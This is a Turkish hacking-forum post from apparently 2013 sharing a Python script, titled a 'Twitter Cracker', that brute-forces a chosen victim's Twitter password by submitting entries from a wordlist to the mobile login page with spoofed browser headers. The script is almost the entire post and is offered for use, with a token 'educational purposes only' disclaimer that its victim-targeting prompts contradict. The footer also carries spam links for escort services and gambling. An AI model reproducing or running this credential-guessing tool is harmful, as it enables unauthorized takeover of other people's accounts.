Twitter brute force python script

StifLer

Yeni Üye
Katılım
1 Tem 2013
Mesajlar
42
Tepkime puanı
0
Puanları
0
Kullanım : python bruteforce.py[/php]
PHP:
#!usr/bin/python 
#Twitter Cracker Version 1 can crack into Twitter Database 100% without Interruption By Firewall ! 
#This program is for educational purposes only. 
#Don't attack people Twitter accounts it's illegal ! 
#If you want to crack into someone's account, you must have the permission of the user. 
#Mauritania Attacker is not responsible. 
  
  
import sys 
import random 
import mechanize 
import cookielib 
  
  
GHT = ''' 
        +=======================================+ 
        |..........Twitter Cracker v 2..........| 
        +---------------------------------------+ 
        |#Edit  : StifLer                       | 
        |#Contact: byystifler@hotmail.com ^_^   | 
        |#Date: 03/08/2013                      | 
        |#SpyHatz.com / Ajanlar.org             | 
        |  use of this program !                | 
        +=======================================+ 
        |..........Twitter Cracker v 2..........| 
        +---------------------------------------+ 
''' 
print "Kurbanin e-maili veya twitter kullanici adi" 
print "# Ctrl + C yaparak programi kapatabilirsiniz." 
  
  
  
username = str(raw_input("# Twitter kullanici adi  : ")) 
passwordlist = str(raw_input("Denenecek sifrelerin kayitli oldugu dosya : ")) 
  
useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] 
  
  
  
login = 'https://mobile.twitter.com/session' 
def attack(password): 
  
  try: 
     sys.stdout.write("\r[*] trying %s.. " % password) 
     sys.stdout.flush() 
     br.addheaders = [('User-agent', random.choice(useragents))] 
     site = br.open(login) 
     br.select_form(nr=0) 
  
      
      
          
         ##Twitter 
     br.form['username'] = username 
     br.form['password'] = password 
     br.submit() 
     log = br.geturl() 
     if log != login: 
        print "\n\n\n[*] Password Twitter found .. !!" 
        print "\n[*] Password : %s\n" % (password) 
        sys.exit(1) 
  except KeyboardInterrupt: 
        print "\n[*] Exiting program .. " 
        sys.exit(1) 
  
def search(): 
    global password 
    for password in passwords: 
        attack(password.replace("\n","")) 
  
  
  
def check(): 
  
    global br 
    global passwords 
    try: 
       br = mechanize.Browser() 
       cj = cookielib.LWPCookieJar() 
       br.set_handle_robots(False) 
       br.set_handle_equiv(True) 
       br.set_handle_referer(True) 
       br.set_handle_redirect(True) 
       br.set_cookiejar(cj) 
       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 
    except KeyboardInterrupt: 
       print "\n[*] Exiting program ..\n" 
       sys.exit(1) 
    try: 
       list = open(passwordlist, "r") 
       passwords = list.readlines() 
       k = 0 
       while k < len(passwords): 
          passwords[k] = passwords[k].strip() 
          k += 1 
    except IOError: 
        print "\n[*] Error: check your password list path \n" 
        sys.exit(1) 
    except KeyboardInterrupt: 
        print "\n[*] Exiting program ..\n" 
        sys.exit(1) 
    try: 
        print GHT 
        print "[*] Account to crack : %s" % (username) 
        print "[*] Loaded :" , len(passwords), "passwords" 
        print "[*] Cracking, please wait ..." 
    except KeyboardInterrupt: 
        print "\n[*] Exiting program ..\n" 
        sys.exit(1) 
    try: 
        search() 
        attack(password) 
    except KeyboardInterrupt: 
        print "\n[*] Exiting program ..\n" 
        sys.exit(1) 
  
if __name__ == '__main__': 
    check()
 

mersin escort mersin e ticaret bodrum escort fethiye escort alanya escort konya escort marmaris escort bodrum escort vozol puff sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort ankara escort meritking giriş
Üst
Copyright® Ajanlar.org 2012